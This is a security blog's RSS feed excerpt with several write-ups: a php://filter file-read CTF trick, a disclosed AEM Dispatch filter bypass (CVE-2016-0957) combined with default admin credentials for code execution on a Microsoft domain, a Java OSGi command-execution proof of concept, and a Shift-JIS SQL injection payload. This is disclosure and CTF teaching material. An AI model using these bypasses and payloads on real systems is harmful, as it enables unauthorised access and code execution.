&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-expected.png&quot; alt=&quot;Of course not.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of course, we didn’t actually expect it to be so easy!&lt;/p&gt;

&lt;p&gt;At this stage it appered that the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_parameter_hahaha&lt;/code&gt; parameter was being filtered to restrict loading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php&lt;/code&gt; files, so a different strategy was required in order to retrieve the flag.&lt;/p&gt;

&lt;h3 id=&quot;sideline-the-php-protocol&quot;&gt;Sideline: The PHP ‘Protocol’&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;In PHP, a protocol handler named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php://&lt;/code&gt; exists in order to allow for ‘accessing various I/O streams.’ One of the functions provided by this protocol handler is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt;: allowing for easy filtering of various other I/O streams directly inside of the URI.&lt;/p&gt;

  &lt;p&gt;This protocol handler is incredibly useful in a number of cases, especially when looking to bypass ‘restricted’ input :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;give-us-the-flag-already&quot;&gt;Give Us The Flag Already!&lt;/h3&gt;

&lt;p&gt;In an attempt to bypass the filename filter which was blocking the ability to load the file containing the flag a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php://filer&lt;/code&gt; URI was provided in the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_parameter_hahaha&lt;/code&gt; parameter. This filter was constructed to requested the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html/super_secret_file_containing_the_flag_you_should_read_it.php&lt;/code&gt; file be read, Base64 encoded and the result then ‘read’ by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_get_contents()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-a_flag_maybe.png&quot; alt=&quot;Is it a flag?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a large Base64 encoded block was successfully rendered to the page - outside of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BKPASPECT&lt;/code&gt; HTML comments - it looked as if this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php://filter&lt;/code&gt; URI had successfully bypassed the filename filters. However, we still needed to Base64 decode this value and confirm that we had the flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-a_flag.png&quot; alt=&quot;It is!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With that done, we had the flag, an additional 100 points and moved on to some other challenges.&lt;/p&gt;

&lt;p&gt;A big thanks to our team, as well as @BKPCTF and co for running the CTF and ‘keeping the lights on’ all weekend! Great work as always :)&lt;/p&gt;
</description>
        <pubDate>Sun, 26 Feb 2017 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2017/02/26/BKPCTF-Wackusensor-Write-Up.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2017/02/26/BKPCTF-Wackusensor-Write-Up.html</guid>
        
        
      </item>
    
      <item>
        <title>Remote Code Execution (RCE) on Microsoft's 'signout.live.com'</title>
        <description>&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; The combination of a less than great vulnerability handling processes by Adobe, and the use of default credentials by Microsoft yielded remote code execution on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signout.live.com&lt;/code&gt; domain.&lt;/p&gt;

&lt;p&gt;The following remote code execution vulnerability in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signout.live.com&lt;/code&gt; service was reported to the Microsoft Security Response Center in late 2015 and has since been patched. This vulnerability was the result of an operational configuration error, as well as another vulnerability inside of the Adobe Experience Manager (AEM) installation used to provide this service.&lt;/p&gt;

&lt;p&gt;Due to the circumstances around this RCE, details of a previously unpublished and potentially ‘silently patched’ vulnerability in the Adobe Experience Manager (AEM) Dispatch module will also be covered (CVE-2016-0957).&lt;/p&gt;

&lt;h2 id=&quot;aem-overview&quot;&gt;AEM Overview&lt;/h2&gt;

&lt;p&gt;Adobe Experience Manager (AEM) is an ‘enterprise grade’ content management system sold and maintained by Adobe Systems. The core components of this system run inside of a JVM, with an optional Apache HTTP server module provided for ‘caching and/or load-balancing’.&lt;/p&gt;

&lt;h3 id=&quot;aem-architecture&quot;&gt;AEM Architecture.&lt;/h3&gt;

&lt;p&gt;Upon first encounter, AEM appears to be a fairly typical enterprise application made of pain, suffering and Java. These feelings are quickly realized upon running the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quickstart&lt;/code&gt; installation package which consists of a single several-hundred megabyte JAR that unpacks neatly into a tree of hatred and self loathing.&lt;/p&gt;

&lt;p&gt;Under the hood, this ‘stock’ AEM deployment consists of a vast array of open source products and some Adobe brand glue. Rather than the services which comprise AEM being deployed in a ‘traditional’ manner, they are instead implemented as components inside of an Apache Felix based Open Services Gateway initiative (OSGi) framework.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/aem-layout.png&quot; alt=&quot;A view of the AEM internal architecture, taken from the AEM 5.6.1 documentation.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The advantage of this system is that these components, known as OSGi ‘bundles’, can be installed, restarted, or re-configured without the need to restart the OSGi framework or underlying JVM. In addition, this architecture allows for the extension of AEM through the development and installation of custom OSGi bundles.&lt;/p&gt;

&lt;h3 id=&quot;deployment-topology&quot;&gt;Deployment Topology&lt;/h3&gt;

&lt;p&gt;A ‘typical’ AEM deployment consists of three distinct tiers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Author
    &lt;ul&gt;
      &lt;li&gt;Provides an authoring environment for content (and other data).&lt;/li&gt;
      &lt;li&gt;Publishes data to Publish nodes via replication queues (push).&lt;/li&gt;
      &lt;li&gt;Stores content in a JCR compliant content repository.&lt;/li&gt;
      &lt;li&gt;Runs in a JVM.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Publish
    &lt;ul&gt;
      &lt;li&gt;Receives published content from the Author nodes.&lt;/li&gt;
      &lt;li&gt;Serves published content to Dispatch nodes.&lt;/li&gt;
      &lt;li&gt;Stores content in a JCR compliant content repository.&lt;/li&gt;
      &lt;li&gt;Runs in a JVM.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Dispatch
    &lt;ul&gt;
      &lt;li&gt;Serves and caches content from Publish nodes to the end-user.&lt;/li&gt;
      &lt;li&gt;‘Proxies’ requests back to the Publish farm if objects are not in cache (pull).&lt;/li&gt;
      &lt;li&gt;Caches content on disk as rendered objects.&lt;/li&gt;
      &lt;li&gt;Runs as an Apache HTTP Server module.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An example diagram of this style of tiered deployment can be found below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/aem-flow.png&quot; alt=&quot;A common three tier deployment, taken from the AEM 5.6.1 documentation.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to improve the security posture of an AEM installation, these tiers are typically deployed with the Author and Publish tiers protected from the world through network segmentation and/or access controls. The Dispatch tier is generally the only tier ‘open’ to the internet, providing a mechanism to retrieve and cache content from the Publish tier (in a manner not unlike that of a reverse-proxy).&lt;/p&gt;

&lt;h3 id=&quot;dispatch-filtering&quot;&gt;Dispatch Filtering&lt;/h3&gt;

&lt;p&gt;As a result of the Dispatch tier pulling data from upstream Publish nodes, the Dispatch module implements a ‘filtering’ mechanism in order to mitigate abuse. This filter is especially important given that nodes in the Publish tier serve both content and administrative resources via the same Apache Sling service.&lt;/p&gt;

&lt;p&gt;As an example of why this filtering is required, the following URLs on the Publish node &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publish.example.org&lt;/code&gt; are able to be accessed without any authentication:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://publish.example.org/etc/reports/diskusage.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Provides a browsable view of all data in the content repository.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://publish.example.org/content/www-example-org/en_US/example.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Renders an example page for the public ‘www.example.org’ website.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, if accessed via the Dispatch tier - assuming a default Dispatch configuration with an empty cache - the following should be true:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://Dispatch.example.org/etc/reports/disusage.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Filtered by the Dispatch tier, with an HTTP 404 served to the requestor.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://publish.example.org/content/www-example-org/en_US/example.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Fetches a rendered example page for ‘www.example.org’ from the Publish tier.&lt;/li&gt;
      &lt;li&gt;Serves the fetched page to the requestor.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In order to implement these restrictions, the &lt;em&gt;default&lt;/em&gt; AEM Dispatch module configuration contains a set of filters which operate in a default ‘deny’ manner: If a resource hasn’t been explicitly allowed inside of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; block, requests for that resource would be denied.&lt;/p&gt;

&lt;p&gt;In order to better demonstrate this configuration, an excerpt from an example Dispatch configuration file - taken from the AEM 5.6.1 ‘security checklist’ - has been included below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; # only handle the requests in the following acl. default is 'none'
 # the glob pattern is matched against the first request line
 /filter
   {
   # deny everything and allow specific entries
   /0001 { /type &quot;deny&quot;  /glob &quot;*&quot; }
   /0023 { /type &quot;allow&quot; /glob &quot;* /content*&quot; }
   ...
   # enable specific mime types in non-public content directories
   /0041 { /type &quot;allow&quot; /glob &quot;* *.css *&quot;   }  # enable css
   /0042 { /type &quot;allow&quot; /glob &quot;* *.gif *&quot;   }  # enable gifs
   ...
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The end result of this configuration is that the ability to pull Publish tier administrative resources through the Dispatch tier should be prevented.&lt;/p&gt;

&lt;p&gt;…or perhaps not?&lt;/p&gt;

&lt;h2 id=&quot;cve-2016-0957&quot;&gt;CVE-2016-0957&lt;/h2&gt;

&lt;p&gt;CVE-2016-0957 is a very simple vulnerability brought about by the unexpected and improper behavior of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; filter inside of the AEM Dispatch module. The net result of this vulnerability is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; filters can be trivially ‘coerced’ into returning an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;allow&lt;/code&gt; match for resources which may otherwise be denied. This coercion is possible due to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; filters matching on not only the requested resource URL, but also on any included HTTP query parameters.&lt;/p&gt;

&lt;p&gt;Exploiting this vulnerability is as simple as appending a known-allowed resource path onto a filtered URL as an HTTP query parameter.&lt;/p&gt;

&lt;p&gt;An example of this bypass can be found below; assuming the use of a configuration similar to that listed above:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://Dispatch.example.org/system/console&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Implicitly denied by the Dispatch filter due to rule &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0001&lt;/code&gt;.&lt;/li&gt;
      &lt;li&gt;Does not match any subsequent rules.&lt;/li&gt;
      &lt;li&gt;Access is denied.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://Dispatch.example.org/system/console?.css&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Implicitly denied by the Dispatch filter due to rule &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0001&lt;/code&gt;.&lt;/li&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.css&lt;/code&gt; URL query parameter coerces the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; engine into matching rule &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0041&lt;/code&gt;.&lt;/li&gt;
      &lt;li&gt;Access is permitted.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/libs/opensocial/proxy&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Provides a proxy which is able to be used to perform arbitrary server-side requests.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/mobile/useragent-test.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/reports/diskusage.html&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;reporting&quot;&gt;Reporting.&lt;/h3&gt;

&lt;p&gt;This behavior was initially observed inside of an AEM 5.X environment which utilized a default Dispatch configuration towards the end of 2015. When discovered, this issue was reported to the Adobe PSIRT as a potential security vulnerability. A number of days after this report was submitted, the Adobe PSIRT advised that this was a known issue with the Dispatch module and had been ‘addressed’ in version 4.1.5 onwards.&lt;/p&gt;

&lt;p&gt;As the reported behavior was observed in version 4.1.9 of the Dispatch module, a subsequent email was sent to the Adobe PSIRT in order to request additional information.&lt;/p&gt;

&lt;p&gt;After some time, the Adobe PSIRT detailed that the reported issue had been previously discovered internally and that version 4.1.5 of the Dispatch module onwards contains a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; filter directive which should be used in place of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; filters.&lt;/p&gt;

&lt;p&gt;In order to confirm suspicions that this issue had been ‘silently patched’ by Adobe, all security advisories and release notes for the Dispatch module were reviewed. In the end, only a single-line statement relating to this change was able to be found - which was found in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CHANGELOG&lt;/code&gt; file, inside of the 4.1.5 Dispatch module release tarball:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;DISP-407 - Security Checklist: Default Dispatch rules can be circumvented by query-string&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Further to this statement, no additional information appeared to have been published relating to this vulnerability.&lt;/p&gt;

&lt;p&gt;As a result of these findings, an additional email was sent to the Adobe PSIRT expressing concerns related to the handling of this vulnerability and a retrospective security advisory was requested.&lt;/p&gt;

&lt;p&gt;On February 9 of 2016, Adobe raised APSB16-05 which formally allocated CVE-2016-0957 to this vulnerability, and disclosed that ‘Dispatch 4.1.5 and higher resolves a URL filter bypass vulnerability that could be used to circumvent Dispatch rules’.&lt;/p&gt;

&lt;p&gt;Unfortunately, due to the nature of this vulnerability, simply upgrading the Dispatch module does not appear to mitigate this vulnerability. In order to mitigate, the Dispatch module must not only be updated to at least version 4.1.5, but any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; filters defined in the Dispatch configuration should be replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; filters.&lt;/p&gt;

&lt;h2 id=&quot;the-worlds-lamest-rce&quot;&gt;The world’s lamest RCE.&lt;/h2&gt;

&lt;p&gt;With an overview of both AEM and CVE-2016-0957 out of the way, the following section describes an example where the combination of this filter bypass, and the misconfiguration of the AEM Publish nodes used by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signout.live.com&lt;/code&gt; were able to be used together in order to allow for the execution of arbitrary code.&lt;/p&gt;

&lt;p&gt;The discovery of this issue came about through regular interaction with the Microsoft Live service, rather than through active testing. At the time, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signout.live.com&lt;/code&gt; domain appeared to be used as a logout ‘landing’ page for the Microsoft Live service.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/signout-landing.png&quot; alt=&quot;The `signout.live.com` landing page.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signout&lt;/code&gt; redirect was first encountered, it was noticed that the URL structure looked suspiciously like it may have been generated by an AEM. In order to confirm these suspicions, the body of the rendered HTML page was examined for the presence of a number of common AEM components. The presence of a handful of Javascript libraries indicated that this page was at least generated by AEM.&lt;/p&gt;

&lt;p&gt;As this was following the discussed interactions with the Adobe PSIRT, an attempt was immediately made to see whether the default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glob&lt;/code&gt; style filters were in use. This was done by requesting the URL for the AEM OSGi console with an HTTP query parameter of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.css&lt;/code&gt; appended:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;https://signout.live.com/system/console?.css&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As this request was met with an HTTP 401, a subsequent request without any HTTP query parameters was performed. This second request being met with an HTTP 404 confirmed suspicions that the first request had successfully bypassed the Dispatch filters.&lt;/p&gt;

&lt;p&gt;In order to verify that this was correct, this same URL was accessed using a web browser both with and without the query parameter. As expected, the former request successfully bypassed the Dispatch filter and resulted in an HTTP Basic authentication prompt:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/aem-osgi-login.png&quot; alt=&quot;The `signout.live.com` OSGi console login.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given that it was possible to bypass the Dispatch filters, it was initially thought that it may have been possible to brute force credentials for an AEM built-in administrative accounts in order to gain access to the OSGi console. However, before getting that far, and in a “&lt;em&gt;what if..?&lt;/em&gt;” moment, the default credentials of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin / admin&lt;/code&gt; were attempted.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/aem-uhoh.png&quot; alt=&quot;Wat.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In a moment of utter disbeleief, it appeared that these default credentials had been accepted and full-administrative access to the AEM Publish nodes’ OSGi console had been granted. In order to confirm that this was valid, a number of subseqent requests inside of the OSGi console were performed, all of which completed successfully.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/aem-licence.png&quot; alt=&quot;Double wat.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this stage, it would have been possible to execute code inside of the JVM through the upload of a custom OSGi bundle. However, the question was whether it was possible to escalate access further - as a purely hypothetical and ‘off instance’ exercise, as no code was attempted to be loaded into the Microsoft system at any time.&lt;/p&gt;

&lt;p&gt;As part of this exercise, a list of loaded OSGi bundles in a generic AEM 5.X deployment was reviewed, where it was noted that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.apache.commons.exec&lt;/code&gt; was loaded. This bundle appeared to be an implementation of the Apache Commons Exec library, which provides a method to ‘…reliably execute external processes from within the JVM’.&lt;/p&gt;

&lt;p&gt;In order to confirm whether this library was able to be used, a quick proof-of-concept which utilized both this library, as well as the OSGi &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BundleActivator&lt;/code&gt; interface was developed. This OSGi bundle was configured in such a way that when loaded, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.apache.commons.exec&lt;/code&gt; library would be called and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; command would be fired against an external server.&lt;/p&gt;

&lt;p&gt;Due to the nature of the AEM OSGi framework, once installed, this module would persist inside of the system and would be loaded automatically at system start-up.&lt;/p&gt;

&lt;p&gt;Ignoring POM files and associated boilerplate, a simple ‘command executor’ OSGi bundle was able to be implemented in as few as 18 lines of Java - and likely in less by someone who knew what they were doing :)&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;public class ProviderActivator implements BundleActivator {
    String staticCommand = &quot;C:\\Windows\\System32\\ping.exe www.example.org&quot;;

    @Override
    public void start(BundleContext bundleContext) throws Exception {
        CommandLine cmdLine = CommandLine.parse(staticCommand);
        DefaultExecutor executor = new DefaultExecutor();

        try {
            executor.execute(cmdLine);
        } catch(java.io.IOException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void stop(BundleContext bundleContext) throws Exception {
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; As mentioned above, no code was loaded into the Microsoft system &lt;strong&gt;at any time&lt;/strong&gt;. The proof-of-concept code prepared as part of this exercise was compiled and provided as part of the report to Microsoft, but was never loaded into the system.&lt;/p&gt;

&lt;h3 id=&quot;reporting-1&quot;&gt;Reporting.&lt;/h3&gt;

&lt;p&gt;This vulnerability was reported to the MSRC on the 3rd of December 2015, and was both confirmed and assigned a case manager within 24-hours. After some time and back-and-forth with the MSRC, this vulnerability was confirmed to have been resolved on the 3rd of May 2016.&lt;/p&gt;

&lt;p&gt;Unfortunately, on the 4th of May 2016 it was confirmed by the MSRC that this report was not eligible for a monetary reward under the Microsoft Online Services Bug Bounty program as the affected domain was not explicitly listed as in-scope.&lt;/p&gt;

&lt;p&gt;Such is life! :)&lt;/p&gt;

&lt;h3 id=&quot;thanks&quot;&gt;Thanks.&lt;/h3&gt;

&lt;p&gt;I’d like to extend thanks to all of the MSRC staff who were involved in this case. Although this case took quite some time to be resolved, all of the MSRC staff encountered throughout were a pleasure to work with.&lt;/p&gt;
</description>
        <pubDate>Sun, 24 Jul 2016 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html</guid>
        
        
      </item>
    
      <item>
        <title>BKP CTF - Good Morning (Wonderland)</title>
        <description>&lt;p&gt;Over the last two days I’ve been participating in the Boston Key Party (BKP) CTF with a group ephemerally known as ‘Fear Of A Whitehat Planet’. In the end, we didn’t do &lt;em&gt;too&lt;/em&gt; badly - with all of the web challenges, a couple of crypto, and only one of the pwn challenges complete - but better luck next time, eh?&lt;/p&gt;

&lt;p&gt;The first web application that we worked on was ‘Good Morning’ (Wonderland on the CTF console). Although not a particularly complex challenge in the end, I thought I’d write-up our solution all the same.&lt;/p&gt;

&lt;h3 id=&quot;good-morning&quot;&gt;Good Morning!&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/monty.png&quot; alt=&quot;Nobody expects the Spanish inquisition&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When first opened, Good Morning presented the user with a number of seemingly Python inspired questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is your name?&lt;/li&gt;
  &lt;li&gt;What is your quest?&lt;/li&gt;
  &lt;li&gt;What is your favourite color?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once all questions were answered, a thank you would be displayed with a survey number included in the response. When viewed through OWASP Zap, it was quickly apparent that all requests past the initial page load were over a WebSocket back to the origin.&lt;/p&gt;

&lt;h3 id=&quot;the-setup&quot;&gt;The Setup&lt;/h3&gt;

&lt;p&gt;As the source for the application was provided, we decided to have a quick dig to see what’s happening on the server side.&lt;/p&gt;

&lt;p&gt;The first thing which one of our team members (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jdoe&lt;/code&gt;) noticed was that the MySQL character-set was hard-set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shift-JIS&lt;/code&gt;, and input sanitization was being performed using a special character array and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s.replace&lt;/code&gt;. As a result, it was almost guaranteed that this challenge would be able to be solved via SQL injection.&lt;/p&gt;

&lt;h3 id=&quot;shiftjis&quot;&gt;ShiftJIS&lt;/h3&gt;

&lt;p&gt;While looking through a quick summary of Shift-JIS, the following stood out:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Shift JIS is possible to use in string literals in programming languages such as C, but the 0x5C byte will cause problems when it appears as second byte of a two-byte character, because 0x5C, normally backslash, here ¥, will be interpreted as an escape sequence which will mess up the interpretation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As a result of the above, and that the MySQL sanitization was being performed manually with a search and replace, we thought that it may have been possible to bypass sanitization using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;¥&lt;/code&gt; character combined with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The next question was where to perform this injection. Ideally, we wanted a retrieval operation in order to be able to query the database for arbitrary data while searching for a flag - still assuming, at this stage, that the flag was inside the database.&lt;/p&gt;

&lt;h3 id=&quot;websockets-and-json&quot;&gt;WebSockets and JSON&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/get_answer.png&quot; alt=&quot;Well... That was easy.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Luckily enough, the last operation performed by the application when a survey was complete was to perform a query for a row associated with the user’s input answer for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;favourite color&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As a result of this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_answer&lt;/code&gt; call, we thought that we should be able to simply inject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;¥\&quot;&lt;/code&gt; in place of a proper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;question&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;answer&lt;/code&gt;, followed by some arbitrary SQL, in order to try and locate the flag.&lt;/p&gt;

&lt;h3 id=&quot;fire&quot;&gt;Fire!&lt;/h3&gt;

&lt;p&gt;Rather than setting up a new WebSocket from Ruby or Python, we found it easier to just use OWASP Zap to fire requests at an already open WebSocket while the page was loaded. Lazy, yes, but hey! :)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/sjis-kgo.png&quot; alt=&quot;Fingers crossed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this stage, we still weren’t sure whether flag was inside of the database, and if it was, where it might be. As luck would have it, however, the first request yielded the flag, and three points for the team.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/sjis-request.png&quot; alt=&quot;Gotcha!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The full request sent to the WebSocket which gave us the flag was the following:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;type&quot;:&quot;get_answer&quot;,&quot;question&quot;:&quot;¥\&quot; OR 1=1;--&quot;,&quot;answer&quot;:&quot;&quot;}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finally, a big thanks to @BKPCTF for running the CTF! :)&lt;/p&gt;
</description>
        <pubDate>Sun, 06 Mar 2016 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2016/03/06/BKPCTF-Wonderland-Good-Morning-Write-Up.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2016/03/06/BKPCTF-Wonderland-Good-Morning-Write-Up.html</guid>
        
        
      </item>
    
      <item>
        <title>BKP CTF - Bug Bounty (Suffolk Downs)</title>
        <description>&lt;p&gt;Over the last two days I’ve been participating in the Boston Key Party (BKP) CTF with a group ephemerally known as ‘Fear Of A Whitehat Planet’. In the end, we didn’t do &lt;em&gt;too&lt;/em&gt; badly - with all of the web challenges, a couple of crypto, and only one of the pwn challenges complete - but better luck next time, eh?&lt;/p&gt;

&lt;p&gt;The third, and final, web application that we worked on was ‘Bug Bounty’ (‘Suffolk Downs’ on the CTF console). This was an interesting challenge which has us stumped for some time.&lt;/p&gt;

&lt;h3 id=&quot;bug-bounty&quot;&gt;Bug Bounty&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/bug_bounty.png&quot; alt=&quot;Let's do this&quot; /&gt;&lt;/p&gt;

